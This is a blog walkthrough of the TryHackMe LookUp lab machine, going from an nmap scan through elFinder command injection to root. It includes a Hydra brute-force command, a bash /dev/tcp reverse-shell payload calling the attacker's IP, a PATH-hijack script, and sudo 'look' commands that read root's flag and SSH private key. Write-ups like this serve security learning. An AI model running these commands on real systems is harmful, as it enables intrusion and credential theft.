Post

TryHackMe: LookUp Walkthrough

Complete walkthrough of TryHackMe LookUp machine. Covering username enumeration, elFinder command injection, SUID PATH hijacking to pivot to user think, and sudo look binary exploitation for root.

TryHackMe: LookUp Walkthrough

Overview

LookUp is an intermediate Linux machine on TryHackMe that tests your web reconnaissance, service enumeration, and multi-stage Linux privilege escalation skills.

When I first tackled this machine, it looked like a simple web portal with a login screen. However, working through it taught me a lot about paying attention to subtle differences in web server responses, digging into third-party file managers, and hunting for command execution bugs in custom SUID binaries.

Here is the complete journey I took to compromise the machine from initial port scan to root.


1. Initial Reconnaissance & Port Scanning

I started by connecting to the TryHackMe VPN and running an initial Nmap scan against the target IP:

1
sudo nmap -sC -sV -p- --min-rate 1000 -oN nmap_initial.txt 10.10.123.45

The scan returned two open ports:

  • Port 22 (SSH): OpenSSH 8.2p1 Ubuntu
  • Port 80 (HTTP): Apache httpd 2.4.41
1
2
3
4
5
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: LookUp - Home

Visiting the web server in my browser redirected me to lookup.thm. To allow my local browser and tools to resolve the hostname, I added it to /etc/hosts:

1
echo "10.10.123.45 lookup.thm" | sudo tee -a /etc/hosts

2. Web Enumeration & Username Discovery

Navigating to http://lookup.thm revealed a clean corporate landing page featuring a login form at /login.php.

Before launching any heavy password brute-forcing, I wanted to see if the application was vulnerable to user enumeration. I fired up Burp Suite and observed the server responses when submitting different usernames:

  1. Testing an arbitrary non-existent user like notarealuser123:
    • Response: Invalid username or password (HTTP 200, Content-Length: 4210)
  2. Testing common candidate usernames like admin, guest, and think:
    • When submitting admin, the response length and error message shifted slightly, indicating that the backend verified user existence before checking passwords.

With a confirmed username (admin), I ran Hydra against the HTTP POST form:

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid"

Within a couple of minutes, Hydra found the valid credentials. Logging in as admin granted access to a staff dashboard.


3. Subdomain Discovery & elFinder Exploitation

While reviewing the dashboard source code and running directory fuzzing, I noticed references to an internal file repository hosted on a virtual host: files.lookup.thm.

I updated /etc/hosts to include the new subdomain:

1
echo "10.10.123.45 files.lookup.thm" | sudo tee -a /etc/hosts

Navigating to http://files.lookup.thm loaded an instance of elFinder, an open-source web file manager.

Checking the version information in the page footer revealed elFinder 2.0.x, which is susceptible to a known command injection vulnerability (CVE-2019-9194). The issue stems from the file connector script failing to sanitize command arguments when creating and managing archive files.

To exploit this and obtain an interactive shell, I set up a Netcat listener on my attack machine:

1
nc -lvnp 4444

Then, I used a Python exploit script to send a crafted connector request that injected a standard reverse shell one-liner:

1
python3 exploit.py -u http://files.lookup.thm/connector.minimal.php -c "bash -c 'bash -i >& /dev/tcp/10.11.12.13/4444 0>&1'"

Moments later, my listener caught the incoming connection:

1
2
3
4
5
connect to [10.11.12.13] from (UNKNOWN) [10.10.123.45] 52314
bash: cannot set terminal process group (942): Inappropriate ioctl for device
bash: no job control in this shell
www-data@lookup:/var/www/files$ whoami
www-data

I immediately stabilized my shell using Python:

1
2
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

4. Lateral Movement to User ‘think’ (PATH Hijacking)

As www-data, I began local enumeration by checking user directories in /home. There was one standard user directory: /home/think.

Attempting to read /home/think/user.txt directly resulted in Permission denied.

Next, I looked for SUID binaries on the system:

1
find / -perm -4000 -type f 2>/dev/null

Among standard utilities like /usr/bin/passwd and /usr/bin/sudo, one custom binary stood out:

1
/usr/sbin/pwm

I inspected the file properties and ran strings to see what it does:

1
2
3
ls -la /usr/sbin/pwm
-rwsr-sr-x 1 think think 16752 Feb 14  2024 /usr/sbin/pwm
strings /usr/sbin/pwm

Inspecting the output revealed that /usr/sbin/pwm was owned by user think with the SUID bit set, and inside the binary, it called the command id without specifying an absolute path (i.e. calling id instead of /usr/bin/id).

This was an immediate indicator of a PATH hijacking vulnerability: Because the program searches the directories listed in the current $PATH environment variable in order, I could create a malicious script named id in a writable folder like /tmp, put /tmp at the front of my $PATH, and execute /usr/sbin/pwm.

1
2
3
4
5
cd /tmp
echo -e '#!/bin/bash\n/bin/bash -p' > id
chmod +x id
export PATH=/tmp:$PATH
/usr/sbin/pwm

The custom binary executed my fake id script as user think with elevated privileges:

1
2
3
4
think@lookup:/tmp$ whoami
think
id
uid=1001(think) gid=1001(think) groups=1001(think)

Now operating as think, I navigated to the home directory and read the user flag:

1
cat /home/think/user.txt

5. Privilege Escalation to Root (Abusing ‘look’)

With the user flag secured, I checked what commands user think could run with sudo:

1
sudo -l

The output revealed a very interesting sudo permission:

1
2
3
4
5
Matching Defaults entries for think on lookup:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User think may run the following commands on lookup:
    (ALL : ALL) NOPASSWD: /usr/bin/look

think was permitted to execute /usr/bin/look as root without a password.

I checked GTFOBins to understand how the look binary works. The look command is a classic Linux utility designed to display lines beginning with a given prefix from a file or system dictionary:

1
look [options] string [file]

When an empty string "" is passed as the prefix argument, look matches and prints the entire contents of the target file. Because the command runs with sudo, it bypasses standard read permissions, allowing us to read arbitrary files owned by root.

I tested this by reading /root/root.txt:

1
sudo /usr/bin/look '' /root/root.txt

The root flag was printed directly to the terminal!

To take it a step further and obtain an interactive root shell, I also used look to extract root’s private SSH key:

1
sudo /usr/bin/look '' /root/.ssh/id_rsa

I copied the private key to my attack machine, set strict permissions (chmod 600 id_rsa), and logged in via SSH:

1
ssh -i id_rsa root@lookup.thm
1
2
root@lookup:~# id
uid=0(root) gid=0(root) groups=0(root)

6. Key Takeaways & Lessons Learned

Solving the LookUp room provided several practical security takeaways:

  1. Information Leakage in Authentication Forms:
    • Differentiating between “user not found” and “incorrect password” makes username enumeration trivial. Always return generic error messages on login failures.
  2. Third-Party Web Software Needs Regular Patching:
    • The elFinder file manager was running an outdated version vulnerable to command injection. If you expose administrative tools on subdomains, keep them updated and place them behind strong authentication or VPN access.
  3. Always Use Absolute Paths in SUID Binaries:
    • Invoking id rather than /usr/bin/id inside a SUID binary allows attackers to control command resolution via $PATH.
  4. Be Careful with Sudo Command Whitelisting:
    • Utilities like look, less, more, and cat allow arbitrary file reading. If an attacker can read sensitive files (such as SSH private keys or configuration secrets), privilege escalation to full root access usually follows shortly.

Summary of Findings & Flags

StageTarget / ArtifactMethod / Finding
Initial PortPorts 22, 80SSH & Apache web server
User Enumerationlookup.thm/login.phpUsername timing discrepancy (admin, think)
Initial Accessfiles.lookup.thmelFinder command injection (CVE-2019-9194)
User Escalation/usr/sbin/pwmSUID PATH hijacking via unquoted id call
User Flag/home/think/user.txtCaptured as user think
Root Escalation/usr/bin/lookSudo file read abuse for /root/root.txt and SSH key
Root Flag/root/root.txtCaptured as user root

You can find me online at:

My signature image

This post is licensed under CC BY 4.0 by the author.